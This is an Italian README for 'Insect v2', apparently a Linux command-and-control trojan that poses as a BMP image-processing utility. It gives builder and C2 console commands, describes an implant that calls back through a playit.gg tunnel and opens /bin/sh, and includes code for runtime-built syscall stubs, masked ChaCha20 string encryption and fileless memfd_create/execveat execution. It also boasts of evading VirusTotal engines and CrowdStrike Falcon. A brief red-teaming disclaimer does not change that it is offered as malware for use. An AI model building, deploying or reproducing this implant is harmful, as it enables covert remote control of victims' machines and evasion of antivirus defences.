
Un reverse shell fileless e un framework C2 che sfrutta syscall dirette, tunneling proxy e crittografia ChaCha20 per l'evasione degli AV.
Insect è un trojan C2 per payload Linux con reverse shell e beacon fileless. Questo trojan si nasconde come utility di elaborazione immagini BMP a 24 bit. Utilizza Dynamic Syscall Stubs, memfd_create, risorse stringa cifrate con ChaCha20, tunnel proxy e ICC Profile Encryptor per evadere l'analisi statica. Il server C2 supporta 2 tipi di payload, interactive e beacon.
La creazione manuale di syscall è una tecnica vecchia, ma per Insect v2 ho perfezionato il modo in cui gli stub vengono costruiti a runtime per rimanere sotto il radar degli scanner moderni. Costruendo dinamicamente le syscall, il payload evita le firme standard che gli AV statici tipicamente rilevano.
Nei test reali, ha superato con successo ogni engine su VirusTotal. L'ho anche messo alla prova contro CrowdStrike Falcon, dove ha ricevuto una "green flag" senza rilevamenti dall'engine statico. Durante l'analisi dinamica, ha sollevato solo un lieve sospetto ed è stato infine classificato come sicuro.
Disclaimer: Insect V2 è un lavoro in corso, inoltre non approvo alcuna attività illegale. Sei libero di usarlo per scopi di red teaming. E di modificarlo.
server.py → console C2 multi-sessione
main.c → implant revshell (shell interattiva)
main_beacon.c → implant beacon (polling guidato da task)
Abbiamo 2 profili:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Entrambi producono un binario bmputil. Il builder cifra tutte le stringhe in chiaro con ChaCha20 al momento della build, cifra l'ELF compilato con una maschera di profilo ICC, lo suddivide tra sezioni ELF denominate e genera uno stub loader.
python3 server.py
Avvia un listener su 0.0.0.0:8080 per impostazione predefinita.
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
Le sessioni vengono tracciate tramite un ID statico univoco di 4 byte incorporato al momento della build.
Quando viene eseguito sulla macchina target, il payload accetta argomenti fittizi per mantenere la legittimità:
./bmputil input.bmp output.bmp --grayscale
Sotto il cofano esegue il fork, si riconnette al C2 tramite un tunnel handshake Minecraft (playit.gg) e attende un trigger 0xDEAD. Una volta attivato, reindirizza stdin/stdout/stderr al socket e avvia /bin/sh.
Il server C2 mantiene le connessioni revshell in un registro di sessioni. Usa use <id> per collegare il tuo terminale a una sessione.
I beacon si connettono, si registrano con il loro beacon_id incorporato, controllano la presenza di task in sospeso, li eseguono tramite fork + pipe + execve, riportano i risultati, poi dormono per 30 secondi e si riconnettono.
Usa task <id> <command> per accodare lavoro. I risultati vengono memorizzati in memoria e visualizzati con tasks <id>.
Entrambi i profili condividono le stesse primitive di evasione:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Come discusso in precedenza, gli opcode delle syscall (0F 05) vengono costruiti a runtime in memoria eseguibile per evitare l'analisi statica.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Ogni stringa viene cifrata al momento della build con un nonce univoco. La maschera XOR sulle costanti di stato blocca i rilevamenti basati su firma del setup di ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
Il payload viene eseguito interamente dalla memoria tramite memfd_create + execveat.
Tecnicamente, memfd_create ed execveat vengono rilevati dagli AV ma sono cifrati e costruiti a runtime, e sorprendentemente nei test reali non vengono segnalati.
L'ELF intermedio viene cifrato con XOR usando una tabella di lookup colori ICC con correzione gamma e una chiave casuale di 32 byte, poi suddiviso tra 8 sezioni denominate .rodata.blk*. Lo stub loader lo riassembla, lo decifra e lo esegue.
Questo metodo non è nulla di nuovo, anzi è una tecnica vecchia, ma insect v2 modifica e reimplementa tecniche menzionate in vari writeup di sicurezza e malware, puoi darci un'occhiata qui: